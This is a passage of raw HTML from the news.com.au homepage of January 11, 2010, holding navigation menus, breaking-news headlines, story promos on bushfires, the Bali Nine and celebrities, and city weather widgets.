\">\n\t\t\t\t\t\t<a href=\"http://www.foxsports.com.au/\">FOX SPORTS</a>\n\t<ul class=\"nav-list tier-2\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"http://www.foxsports.com.au/afl/\">AFL</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.foxsports.com.au/league/\">NRL</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.foxsports.com.au/rugby/\">Rugby</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.foxsports.com.au/football/\">Football</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"http://www.foxsports.com.au/cricket/\">Cricket</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-2 -->\n\t\t\t</li>\n\t\t\t<li class=\"nav-classifieds   \">\n\t\t\t\t\t\t<a href=\"http://www.news.com.au/classifieds/\">CLASSIFIEDS</a>\n\t<ul class=\"nav-list tier-2\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"http://www.carsguide.com.au/\">Cars</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.careerone.com.au/\">Jobs</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.realestate.com.au/\">Real Estate</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.truelocal.com.au/\">Business Directory</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.getprice.com.au/\">Get Price Shopping</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.wego.com/\">Wego Travel Deals</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://classifieds.news.com.au/\">Other Classifieds</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"http://www.news.com.au/advertise/placemyad/\">Place an Ad</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-2 -->\n\t\t\t</li>\n\t\t\t<li class=\"nav-news-network   last\">\n\t\t\t\t\t\t<a href=\"/network\">NEWS NETWORK</a>\n\t<ul class=\"nav-list tier-2\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"http://www.news.com.au/\">news.com.au</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.theaustralian.com.au/\">The Australian</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.dailytelegraph.com.au/\">The Daily Telegraph</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.couriermail.com.au/\">The Courier-Mail</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.heraldsun.com.au/\">Herald Sun</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.adelaidenow.com.au/\">AdelaideNow</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.perthnow.com.au/\">PerthNow</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.themercury.com.au/\">The Mercury</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://www.ntnews.com.au/\">NT News</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"/network\">Community Papers</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-2 -->\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n\t\t\t\t</li> <!-- // #nav-level1 -->\n\t\t\t\t<li id=\"nav-level2\">\n\t\t\t\t\t<ul class=\"nav-list tier-1\">\n\t\t\t<li class=\"  first \">\n\t\t\t\t\t\t<a href=\"/breaking-news\">Breaking news</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/national\">National</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/world\">World</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/weird-true-freaky\">Weird</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Weather</a>\n\t\t\t</li>\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/multimedia\">Multimedia</a>\n\t\t\t</li>\n\t\t\t<li class=\"   last\">\n\t\t\t\t\t\t<a href=\"/pictures\">Pictures</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\n\t\t\t\t</li> <!-- // #nav-level2 -->\n\t\t</ul><!-- // #nav-wrap -->\n\t</div><!-- // # nav -->\n<div id=\"info-bar\">\n\t\t<div class=\"info-bar-datestamp\"><span\n\t\t\tclass=\"info-bar-datestamp-label\">Last updated:\n\t\t</span>\n\t\t\t\t<strong class=\"info-bar-datestamp-date\">\n\t\t\t\t\t\tJanuary 11, 2010\n\t\t\t\t  </strong>\n\t\t</div>\n\t\t<!-- // .info-bar-datestamp -->\n\t\t<div class=\"info-bar-search\">\n<div id=\"site-search\">\n\t<form id=\"site-search-form\" class=\"media-search-input\" method=\"get\" action=\"http://search.news.com.au/search\">\n\t    <input type=\"hidden\" name=\"us\"\tvalue=\"ndmnews\" />\n\t    <input type=\"hidden\" name=\"as\" \tvalue=\"NEWS\" />\n\t    <label class=\"search-for\" for=\"mediasearch-site-search-input\">Search for:</label>\n\t    <input type=\"text\" id=\"mediasearch-site-search-input\" name=\"q\" value=\"\" />\n\t    <input class=\"submit\" type=\"submit\" value=\"Search\" />\n\t</form>\n</div>\n\t\t</div><!-- // .info-bar-search -->\n\t<!-- Generated at Mon Jan 11 12:48:13 EST 2010 -->\n\t\t\t\t\t\t<!-- Generated at Mon Jan 11 12:48:13 EST 2010 -->\n\t\t<div class=\"info-bar-weather\">\n\t\t\t<div class=\"slimline-weather\">\n\t\t\t\t<p>\n\t\t\t\t\t<span class=\"assistive\">Weather: </span>\n\t\t\t\t\t<a href=\"http://weather.news.com.au/popup2_fcast.jsp?site=newscomau&amp;twcid=9770\" class=\"slimline-weather-link\" rel=\"popup[330,420]\">\n\t\t\t\t\t\t<span class=\"slimline-weather-icon increasing-sunshine\"></span>\n\t\t\t\t\t\tSydney 21<abbr title=\"Degrees Celsius\">&deg;C</abbr>\n\t\t\t\t\t\t-\n\t\t\t\t\t\t27<abbr title=\"Degree Celsius\">&deg;C</abbr>\n\t\t\t\t\t</a>.\n\t\t\t\t\t Fine. Increasing sunny periods.\n\t\t\t\t</p>\n\t\t\t</div> <!-- // .info-bar-weather -->\n\t\t</div>\n\n\n</div><!-- // #info-bar -->\n\t<div id=\"content\">\n\t\t\t\t<div id=\"content-2\">\n\t\t<!-- [Group:1225745312357] on [fwprodcontent02.ni.news.com.au] @ [January 11, 2010 12:48PM] -->\n<div class=\"group  text-g-news-top-stories item-count-2\">\n\t\t<div class=\"group-header\">\n\t\t\t\t\t<h2 class=\"heading\">news top stories</h2>\n\t\t</div><!-- // .group-header -->\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-2\">\n\t\t\t\t\t<!-- Multi-Promo -->\n<div class=\"module multi-promo main-image ci-count-1 mpos-1 mrpos-2 first-image-316w308h text-m-news-home-multi-promo-main-image id1225792812540\">\n    <div class=\"module-content\">\n\t\t<div class=\"content-item cipos-1 cirpos-1\">\n\t\t\t<!-- promo-splash-a -->\n<div class=\"promo-block promo-splash-01  \">\n                 <div class=\"promo-image\"><a href=\"/national/love-the-beast-then-go-electric/story-e6frfkvr-1225818009800\"><img src=\"http://resources2.news.com.au/images/2010/01/11/1225818/013914-david-swan.jpg\" alt=\"David Swan\"  width=\"316\"  height=\"308\"  /></a></div><!-- // .promo-image -->\n        <div class=\"promo-inner\">\n\t\t\t\t<div class=\"caption\"><p>Love the beast but hate the petrol costs?&nbsp; Meet the men who were so sick of shelling out at the bowser they chose to spend thousands making their old cars new - kind of. </p> <span class=\"read-more\"><a href=\"/national/love-the-beast-then-go-electric/story-e6frfkvr-1225818009800\"> More</a></span></div><!-- // .caption -->\n        </div><!-- // .promo-inner -->\n</div><!-- // .promo-splash.promo-splash-01 -->\n\n\t\t</div><!-- // .content-item -->\n    </div><!-- // .module-content -->\n</div><!-- // .module.multi-promo -->\n\n\t\t\t\t\t<div class=\"module breakingnews breaking-news sectionref-breaking-news  collection mpos-2 mrpos-1 text-m-breaking-news id1225749030856\" id=\"id1225749030856\">\n\t\t\t<div class=\"module-header\">\n\t\t\t\t\t\t\t\t<h3 class=\"heading\"><a href=\"/breaking-news\">Breaking news\n</a></h3>\n\t\t\t</div>\n\t\t\t<!-- // .module-header -->\n\t\t\t<div class=\"module-content \">\n\t<!-- Placement generated for [1225749030856] on [fwprodcontent02.ni.news.com.au] @ [Mon Jan 11 12:48:54 EST 2010] with unknown deps -->\n\t         \t<ul class=\"breaking-news-list\" >\n\t               <li class=\"lipos-1 lirpos-8\">\n\t                   <span class=\"timestamp\">12:27PM</span>\n\t                   <a href=\"/business/breaking-news/australian-share-market-higher-at-noon/story-e6frfkur-1225818046556\">Commodities push shares higher at noon</a>\n\t               </li>\n\t               <li class=\"lipos-2 lirpos-7\">\n\t                   <span class=\"timestamp\">12:18PM</span>\n\t                   <a href=\"/breaking-news/crab-pot-blamed-as-seaplane-ditches/story-e6frfku0-1225818041402\">Crab pot blamed for seaplane accident</a>\n\t               </li>\n\t               <li class=\"lipos-3 lirpos-6\">\n\t                   <span class=\"timestamp\">12:11PM</span>\n\t                   <a href=\"/breaking-news/bushfire-breaks-out-in-catastrophic-national-park-zone/story-e6frfku0-1225818039095\">Fire breaks out in &#039;catastrophic&#039; zone</a>\n\t               </li>\n\t               <li class=\"lipos-4 lirpos-5\">\n\t                   <span class=\"timestamp\">12:05PM</span>\n\t                   <a href=\"/breaking-news/mp3-creator-backs-perfect-streams-focus-on-dumb-devices/story-e6frfku0-1225818037028\">MP3 creator focuses on &#039;dumb&#039; devices</a>\n\t               </li>\n\t               <li class=\"lipos-5 lirpos-4\">\n\t                   <span class=\"timestamp\">11:48AM</span>\n\t                   <a href=\"/breaking-news/robber-hides-in-see-through-plastic-bag/story-e6frfku0-1225818030535\">Robber hides in see-through plastic bag</a>\n\t               </li>\n\t               <li class=\"lipos-6 lirpos-3\">\n\t                   <span class=\"timestamp\">11:40AM</span>\n\t                   <a href=\"/business/breaking-news/surge-in-job-ads-as-economy-improves/story-e6frfkur-1225818027499\">Big jump in number of job ads</a>\n\t               </li>\n\t               <li class=\"lipos-7 lirpos-2\">\n\t                   <span class=\"timestamp\">11:37AM</span>\n\t                   <a href=\"/breaking-news/indian-media-restraint-calls-will-fall-on-deaf-ears/story-e6frfku0-1225818023418\">Indian media unlikely to back off - Crean</a>\n\t               </li>\n\t               <li class=\"lipos-8 lirpos-1\">\n\t                   <span class=\"timestamp\">11:30AM</span>\n\t                   <a href=\"/breaking-news/more-than-210-prisoners-moved-for-mel-gibson-film/story-e6frfku0-1225818020780\">Prisoners booted out for Mel Gibson film</a>\n\t               </li>\n\t         </ul> <!-- // .breaking-news-list -->\n\t\t\t</div> <!-- // .module-content -->\n\t\t\t<div class=\"module-footer\">\n\t<ul class=\"more-links mpos-2 mrpos-1 tier-1\">\n\t\t\t<li >\n\t\t\t\t\t\t<a href=\"/breaking-news\">More breaking news</a>\n\t\t\t</li>\n\t</ul> <!-- // .tier-1 -->\n\t\t\t</div> <!-- // .module-footer -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t</div><!-- // .item ipos-1 irpos-2 -->\n\t\t<div class=\"item ipos-2 irpos-1\">\n\t\t\t\t\t<div class=\"module promo-story  sectionref-newscomau-top-stories  collection mpos-1 mrpos-1 text-m-news-home-plmt-top-stories id1225745323574\" id=\"id1225745323574\">\n\t\t\t<div class=\"module-content \">\n\t\t\t<div class=\"story-block sbpos-1 sbrpos-5 id1225817906863\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/world/drug-prisoners-bid-to-save-bali-nine-member/story-e6frfkyi-1225817906863\">\n\t\t\t\t\t\tBali 'confession' to help mate\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/world/drug-prisoners-bid-to-save-bali-nine-member/story-e6frfkyi-1225817906863\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/11/1225818/000864-news-image-rush-lawrence-20100111.jpg\" alt=\"Scott Rush and Renae Lawrence\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tBALI Nine drug mule Renae Lawrence has taken a dramatic step to try to save Scott Rush's life.\n\t</p> <!-- // .standfirst -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"video first last lipos-1\"><a href=\"http://player.video.news.com.au/news/?1382123840\"><strong class=\"kicker\">Video:</strong> Death row deal in Bali </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .story-block pos-1 rpos-5 id1225817906863 -->\n\t\t\t<div class=\"story-block sbpos-2 sbrpos-4 id1225817926398\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/national/states-brace-for-catastrophic-conditions/story-e6frfkw0-1225817926398\">\n\t\t\t\t\t\tFire breaks out in 'catastrophic fire zone'\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/national/states-brace-for-catastrophic-conditions/story-e6frfkw0-1225817926398\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2009/12/30/1225814/558636-fire.jpg\" alt=\"Fire\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\tA NEWLY-spotted blaze has led to a state issuing its first code red catastrophic alert.\n\t</p> <!-- // .standfirst -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first last lipos-1\"><a href=\"/national/brothers-swept-away-in-red-centre-flood/story-e6frfkvr-1225817903440\"><strong class=\"kicker\">Floods:</strong> Brothers swept away </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .story-block pos-2 rpos-4 id1225817926398 -->\n\t\t\t<div class=\"story-block sbpos-3 sbrpos-3 id1225817934483\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/national/farm-hunger-striker-peter-spencer-faces-eviction/story-e6frfkwi-1225817934483\">\n\t\t\t\t\t\tHunger striker 'shrinking away to nothing'\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/national/farm-hunger-striker-peter-spencer-faces-eviction/story-e6frfkwi-1225817934483\" class=\"thumb-link\"><img src=\"http://resources0.news.com.au/images/2010/01/08/1225817/187464-news-image-spencer-20100108.jpg\" alt=\"news image spencer 20100108\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tA FARMER who hasn't eaten for 50 days has broken down, saying he could do with a &quot;nice bit of steak&quot;.\n\t</p> <!-- // .standfirst -->\n\t\t<p class=\"comments\">\n\t\t\t<a href=\"/national/farm-hunger-striker-peter-spencer-faces-eviction/comments-e6frfkwi-1225817934483\">33 comments on this story</a>\n\t\t</p>\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"page  first last lipos-1\"><a href=\"http://www.dailytelegraph.com.au/news/opinion/harming-a-cause-with-a-thoughtless-stupid-stunt/story-e6frezz0-1225817856732\"><strong class=\"kicker\">Hunger strike:</strong> &#039;A stupid stunt&#039; </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .story-block pos-3 rpos-3 id1225817934483 -->\n\t\t\t<div class=\"story-block sbpos-4 sbrpos-2 id1225817992123\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/features/girl-weeps-blood-bleeds-through-intact-skin/story-e6frfl49-1225817992123\">\n\t\t\t\t\t\tGirl weeps blood 'up to 50 times a day'\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/features/girl-weeps-blood-bleeds-through-intact-skin/story-e6frfl49-1225817992123\" class=\"thumb-link\"><img src=\"http://resources3.news.com.au/images/2010/01/11/1225818/028655-twinkle.jpg\" alt=\"Twinkle\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\t&nbsp;A GIRL who bleeds from her eyes and other parts of her body without any injury has left doctors baffled.\n\t</p> <!-- // .standfirst -->\n\t\t\t</div> <!-- // .story-block pos-4 rpos-2 id1225817992123 -->\n\t\t\t<div class=\"story-block sbpos-5 sbrpos-1 id1225817967276\">\n\t\t<h4 class=\"heading\">\n\t\t\t<a href=\"/entertainment/celebrity/ricki-lee-coulter-says-women-dont-relate-to-nude-images-of-jennifer-hawkins/story-e6frfmqi-1225817967276\">\n\t\t\t\t\t\tRicki-Lee says women don't relate to Jen\n\t\t\t</a>\n\t\t</h4>\n\t\t\t\t<a href=\"/entertainment/celebrity/ricki-lee-coulter-says-women-dont-relate-to-nude-images-of-jennifer-hawkins/story-e6frfmqi-1225817967276\" class=\"thumb-link\"><img src=\"http://resources1.news.com.au/images/2010/01/11/1225817/961457-ricki-lee-coulter.jpg\" alt=\"Ricki Lee Coulter\"  class=\"thumbnail\"  width=\"100\"  height=\"75\"  /></a>\n\t<p class=\"standfirst\">\n\t\t\t<strong class=\"standfirst-kicker \"></strong>\n\t\tTHE singer says there is &ldquo;a big divide&rdquo; between the model and the average Australian woman.\n\t</p> <!-- // .standfirst -->\n\t<ul class=\"related\">\n\t\t\t\t\t<li class=\"story  first last lipos-1\"><a href=\"/entertainment/music/austereos-jackie-o-breaks-her-silence-on-radio-stunt/story-e6frfn09-1225817871923\"><strong class=\"kicker\">Celebs:</strong> Jackie O&#039;s so sorry </a></li>\n\t</ul>\n\t\t\t</div> <!-- // .story-block pos-5 rpos-1 id1225817967276 -->\n\t\t\t</div> <!-- // .module-content -->\n\t\t</div> <!-- // .module .collection -->\n\n\t\t</div><!-- // .item ipos-2 irpos-1 -->\n\t</div><!-- // .group-content.item-count-2 -->\n</div><!-- // .group -->\n\n\t\t<!-- [Group:1225745663158] on [fwprodcontent05.ni.news.com.au] @ [January 11, 2010 12:49PM] -->\n<div class=\"group  text-g-news-home-group-scrollo item-count-1\">\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-1\">\n\t\t\t\t\t<!-- Multi-Promo -->\n<div class=\"module multi-promo  ci-count-4 mpos-1 mrpos-1 first-image-152w86h text-m-news-home-multi-promo-scrollo id1225745655695\">\n    <div class=\"module-content\">\n\t\t<div class=\"content-item cipos-1 cirpos-4\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"/entertainment/celebrity/lindsay-lohan-involved-in-hit-and-run-incident-in-los-angeles/story-e6frfmqi-1225817933341\"><img src=\"http://resources2.news.com.au/images/2010/01/11/1225817/936762-lindsay-lohan.jpg\" alt=\"Lindsay Lohan\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"/entertainment/celebrity/lindsay-lohan-involved-in-hit-and-run-incident-in-los-angeles/story-e6frfmqi-1225817933341\">Hit and run</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Lindsay Lohan's car hit a photographer, reports say<br />\n<img alt=\"\" src=\"http://network.news.com.au/images/i_related.gif\" /> <a href=\"http://www.news.com.au/entertainment/celebrity/lesbian-tila-tequila-tells-twitter-she-may-be-pregnant-after-losing-casey-johnson/story-e6frfmqi-1225817933182\">Tila hints at Casey's baby</a><br />\n&nbsp;</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-2 cirpos-3\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 best-blogs\">\n                        <div class=\"promo-image\"><a href=\"http://www.news.com.au/business/rags-to-riches-tale-as-dotcom-geek-snaps-up-top-harbour-properties/story-e6frfm1i-1225817935527\"><img src=\"http://resources3.news.com.au/images/2010/01/11/1225817/938127-simon-clausen.jpg\" alt=\"Simon Clausen\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"http://www.news.com.au/business/rags-to-riches-tale-as-dotcom-geek-snaps-up-top-harbour-properties/story-e6frfm1i-1225817935527\">Geek to chic</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><div class=\"promo-text\">Meet the geek-turned-property-tycoon building an empire of havens for the super-rich\n<p>&nbsp;</p>\n</div>\n<!-- // .promo-text -->             <!-- // .promo-inner -->         <!-- // .promo-block.promo-block-03 -->  \t\t<!-- // .content-item -->     <!-- // .module-content --> <!-- // .module.multi-promo -->  \t\t<!-- // .item ipos-1 irpos-1 --> \t<!-- // .group-content.item-count-1 -->\n<p>&nbsp;</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-3 cirpos-2\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"/entertainment/celebrity/gallery-e6frfmr0-1225818037102\"><img src=\"http://resources3.news.com.au/images/2010/01/11/1225818/037387-victoria-beckham.jpg\" alt=\"Victoria Beckham\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"/entertainment/celebrity/gallery-e6frfmr0-1225818037102\">ShowBUZZ</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>What Posh took home from an $865,000 shopping spree <br />\n<img width=\"11\" height=\"12\" src=\"http://www.news.com.au/images/icon_galleries.gif\" alt=\"Gallery\" /> <a href=\"http://www.news.com.au/entertainment/celebrity/gallery-e6frfmr9-1111120736498\">Tila Tequila's celeb catfight </a><br />\n&nbsp;</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n\t\t<div class=\"content-item cipos-4 cirpos-1\">\n\t\t\t<!-- promo-block-b -->\n        <div class=\"promo-block promo-block-03 \">\n                        <div class=\"promo-image\"><a href=\"/travel/news/the-white-cockatoo-resort-up-for-sale/story-e6frfq80-1225817882094\"><img src=\"http://resources1.news.com.au/images/2010/01/11/1225817/931741-white-cockatoo.jpg\" alt=\"White Cockatoo\"  width=\"152\"  height=\"86\"  /></a></div><!-- // .promo-image -->\n            <div class=\"promo-inner\">\n                            <div class=\"promo-heading\"><h4 class=\"heading\"><a href=\"/travel/news/the-white-cockatoo-resort-up-for-sale/story-e6frfq80-1225817882094\">Hot property</a></h4></div><!-- // .promo-heading -->\n                    <div class=\"promo-text\"><p>Australia's unofficial top sex tourist destination now comes with a million-dollar price tag</p></div><!-- // .promo-text -->\n            </div><!-- // .promo-inner -->\n        </div><!-- // .promo-block.promo-block-03 -->\n\n\t\t</div><!-- // .content-item -->\n    </div><!-- // .module-content -->\n</div><!-- // .module.multi-promo -->\n\n\t\t</div><!-- // .item ipos-1 irpos-1 -->\n\t</div><!-- // .group-content.item-count-1 -->\n</div><!-- // .group -->\n\n\t\t\t\t</div><!-- // #content-2 -->\n\t\t\t\t<div id=\"content-3\">\n\t\t<!-- [Group:1225750357522] on [fwprodcontent02.ni.news.com.au] @ [January 11, 2010 12:49PM] -->\n<div class=\"group  text-g-news-home-group-rhc item-count-3\">\n\t<div class=\"group-content\">\n\t\t<div class=\"item ipos-1 irpos-3\">\n\t\t\t\t\t<!-- Generated at Mon Jan 11 12:49:21 EST 2010 -->\n<div class=\"module weather-tab  mpos-1 mrpos-9 id1225750362917\">\n\t<div class=\"module-header\">\n\t</div>\n\t<div class=\"module-content\">\n\t\t<div class=\"more-cities js-popmenu-parent\"> More Cities\n\t\t\t<ul class=\"js-tabs nav-submenu\">\n\t\t\t\t\t<li class=\"js-tab\" title=\"S00\" >\n\t\t\t\t\t\t<a href=\"S00\">Adelaide</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"Q00\" >\n\t\t\t\t\t\t<a href=\"Q00\">Brisbane</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"Q04\" >\n\t\t\t\t\t\t<a href=\"Q04\">Cairns</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"N07\" >\n\t\t\t\t\t\t<a href=\"N07\">Canberra</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"Q15\" >\n\t\t\t\t\t\t<a href=\"Q15\">Coolangatta</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"D00\" >\n\t\t\t\t\t\t<a href=\"D00\">Darwin</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"T04\" >\n\t\t\t\t\t\t<a href=\"T04\">Hobart</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"V00\" >\n\t\t\t\t\t\t<a href=\"V00\">Melbourne</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"N03\" >\n\t\t\t\t\t\t<a href=\"N03\">Newcastle</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"W00\" >\n\t\t\t\t\t\t<a href=\"W00\">Perth</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"N00\" >\n\t\t\t\t\t\t<a href=\"N00\">Sydney</a>\n\t\t\t\t\t</li>\n\t\t\t\t\t<li class=\"js-tab\" title=\"S00\" >\n\t\t\t\t\t\t<a href=\"S00\">Adelaide</a>\n\t\t\t\t\t</li>\n\t\t\t</ul>\n\t\t</div><!-- // .more-cities .js-popmenu-parent -->\n\t\t\t<div class=\"js-tab-content S00\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=S00\">\n\t\t\t\t\t\t<span>Adelaide</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"showers\">Showers</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">24&deg;C - 26&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Cloudy. Showers.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">21&deg;C - 31&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=S00&amp;twcid=9401\">View 5 Day Forecast</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"view-weather-page\"><a href=\"http://weather.news.com.au/index.jsp?site=news.com.au\">Full Weather Section</a></span>\n\t\t\t\t</div><!-- // .weather-links -->\n\t\t\t</div><!-- // .js-tab-content .S00 -->\n\t\t\t<div class=\"js-tab-content Q00\">\n\t\t\t\t<h2 class=\"heading\">\n\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&contexttype=district&contextcode=Q00\">\n\t\t\t\t\t\t<span>Brisbane</span>\n\t            \t</a>\n\t\t\t\t</h2>\n\t\t\t\t<div class=\"weather-today\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"mostly-sunny\">Mostly sunny</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-today-temp\">21&deg;C - 31&deg;C</span>\n\t\t\t\t\t<span class=\"weather-today-desc\">Fine.</span>\n\t\t\t\t</div><!-- // .weather-today -->\n\t\t\t\t<div class=\"weather-forecast\">\n\t\t\t\t\t<div class=\"weathericon-large\">\n\t\t\t\t\t\t<span class=\"showers\">Showers</span>\n\t\t\t\t\t</div><!-- // .weathericon-large -->\n\t\t\t\t\t<span class=\"weather-tomorrow\">Tomorrow</span>\n\t\t\t\t\t<span class=\"weather-forecast-temp\">24&deg;C - 31&deg;C</span>\n\t\t\t\t</div><!-- // .weather-forecast -->\n\t\t\t\t<div class=\"weather-links\">\n\t\t\t\t\t<span class=\"view-forecast\">\n\t\t\t\t\t\t<a href=\"http://weather.news.com.au/index.jsp?site=news.com.au&amp;contexttype=district&amp;contextcode=Q00&amp;twcid=9250\">View 5 Day 